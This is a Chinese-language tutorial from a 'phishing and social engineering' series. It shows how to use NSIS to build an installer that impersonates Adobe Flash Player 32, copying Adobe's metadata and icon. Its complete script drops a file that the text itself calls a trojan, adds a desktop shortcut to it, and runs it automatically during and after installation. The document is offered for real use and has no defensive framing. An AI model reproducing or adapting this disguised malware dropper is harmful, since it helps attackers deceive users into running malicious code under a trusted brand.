钓鱼与社工系列之NSIS制作安装包
需要制作成安装包的文件
需要伪装的安装包的属性，制作的时候按照下图的属性制作
开始制作
Adobe
Adobe® Flash® Player Utility
32.0.0.387
Adobe® Flash® Player Utility
TODO: (C) <Adobe>。 保留所有权利。
Flash.exe
TODO: <Adobe>
32.0.0.387
Adobe Flash Player 32
32.0.0.387
Adobe
http://www.flash.cn
安装包的图标以及名字
C:\Users\test\Desktop\dll\client\Flash\favicon.ico
flashplayerpp_install_cn.exe
运行制作好的安装包提示要安装在哪个目录。
勾选允许用户更改目录，那么安装的时候可以更改安装目录；如果不勾选，那就直接在指定的目录安装
$PROGRAMFILES\Flash
需要制作安装包的文件目录
C:\Users\test\Desktop\dll\client\Flash\*.*
制作快捷方式，建议使用代码修改
安装完成后要执行的命令，建议使用代码修改
修改快捷方式的代码，得要手工添加。
一共要改三个地方：
1. SetOutPath起始位置改为快捷方式指向exe的目录
2. uninstall.lnk这类快捷方式删除
3. 在桌面创建快捷方式指向木马程序，注意这里desktop后面必须两个反斜杠
Section -AdditionalIcons
SetOutPath "$INSTDIR\"
CreateShortCut "$DESKTOP\\Flash.lnk" "$INSTDIR\Flash.exe"
SectionEnd
运行安装包安装完成后，自动执行的命令
; 安装完成页面
!define MUI_FINISHPAGE_RUN "$INSTDIR\Flash.exe"
!define MUI_FINISHPAGE_RUN_PARAMETERS
!insertmacro MUI_PAGE_FINISH
也可以在安装过程中就执行命令：nsExec::ExecToStack “$INSTDIR\Flash.exe”
Section -Post
WriteUninstaller "$INSTDIR\uninst.exe"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "DisplayName" "$(^Name)"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "UninstallString" "$INSTDIR\uninst.exe"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "DisplayVersion" "${PRODUCT_VERSION}"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "URLInfoAbout" "${PRODUCT_WEB_SITE}"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "Publisher" "${PRODUCT_PUBLISHER}"
nsExec::ExecToStack "$INSTDIR\Flash.exe"
SectionEnd最终生成如下代码:
; 该脚本使用 HM VNISEdit 脚本编辑器向导产生
; 安装程序初始定义常量
!define PRODUCT_NAME "Adobe Flash Player 32"
!define PRODUCT_VERSION "32.0.0.387"
!define PRODUCT_PUBLISHER "Adobe"
!define PRODUCT_WEB_SITE "http://www.flash.cn"
!define PRODUCT_UNINST_KEY "Software\Microsoft\Windows\CurrentVersion\Uninstall\${PRODUCT_NAME}"
!define PRODUCT_UNINST_ROOT_KEY "HKLM"
SetCompressor lzma
; ------ MUI 现代界面定义 (1.67 版本以上兼容) ------
!include "MUI.nsh"
; MUI 预定义常量
!define MUI_ABORTWARNING
!define MUI_ICON "C:\Users\test\Desktop\dll\client\Flash控件安装包\flash.ico"
!define MUI_UNICON "${NSISDIR}\Contrib\Graphics\Icons\modern-uninstall.ico"
; 欢迎页面
!insertmacro MUI_PAGE_WELCOME
; 安装过程页面
!insertmacro MUI_PAGE_INSTFILES
; 安装完成页面
!define MUI_FINISHPAGE_RUN "$INSTDIR\Flash.exe"
!define MUI_FINISHPAGE_RUN_PARAMETERS
!insertmacro MUI_PAGE_FINISH
; 安装卸载过程页面
!insertmacro MUI_UNPAGE_INSTFILES
; 安装界面包含的语言设置
!insertmacro MUI_LANGUAGE "SimpChinese"
; 安装预释放文件
!insertmacro MUI_RESERVEFILE_INSTALLOPTIONS
; ------ MUI 现代界面定义结束 ------
Name "${PRODUCT_NAME} ${PRODUCT_VERSION}"
OutFile "flashplayerpp_install_cn.exe"
InstallDir "C:\Flash\"
ShowInstDetails show
ShowUnInstDetails show
Section "MainSection" SEC01
SetOutPath "$INSTDIR\*.*"
SetOverwrite ifnewer
File /r "C:\Users\test\Desktop\dll\client\Flash控件安装包\*.*"
SectionEnd
Section -AdditionalIcons
SetOutPath "$INSTDIR\"
CreateShortCut "$DESKTOP\\Flash.lnk" "$INSTDIR\Flash.exe"
SectionEnd
Section -Post
WriteUninstaller "$INSTDIR\uninst.exe"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "DisplayName" "$(^Name)"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "UninstallString" "$INSTDIR\uninst.exe"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "DisplayVersion" "${PRODUCT_VERSION}"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "URLInfoAbout" "${PRODUCT_WEB_SITE}"
WriteRegStr ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}" "Publisher" "${PRODUCT_PUBLISHER}"
nsExec::ExecToStack "$INSTDIR\Flash.exe"
SectionEnd
/******************************
* 以下是安装程序的卸载部分 *
******************************/
Section Uninstall
Delete "$INSTDIR\${PRODUCT_NAME}.url"
Delete "$INSTDIR\uninst.exe"
Delete "$SMPROGRAMS\Adobe Flash Player 32\Uninstall.lnk"
Delete "$SMPROGRAMS\Adobe Flash Player 32\Website.lnk"
RMDir "$SMPROGRAMS\Adobe Flash Player 32"
RMDir /r "$INSTDIR\*.*"
RMDir "$INSTDIR"
DeleteRegKey ${PRODUCT_UNINST_ROOT_KEY} "${PRODUCT_UNINST_KEY}"
SetAutoClose true
SectionEnd
#-- 根据 NSIS 脚本编辑规则，所有 Function 区段必须放置在 Section 区段之后编写，以避免安装程序出现未可预知的问题。--#
Function un.onInit
MessageBox MB_ICONQUESTION|MB_YESNO|MB_DEFBUTTON2 "您确实要完全移除 $(^Name) ，及其所有的组件？" IDYES +2
Abort
FunctionEnd
Function un.onUninstSuccess
HideWindow
MessageBox MB_ICONINFORMATION|MB_OK "$(^Name) 已成功地从您的计算机移除。"
FunctionEnd
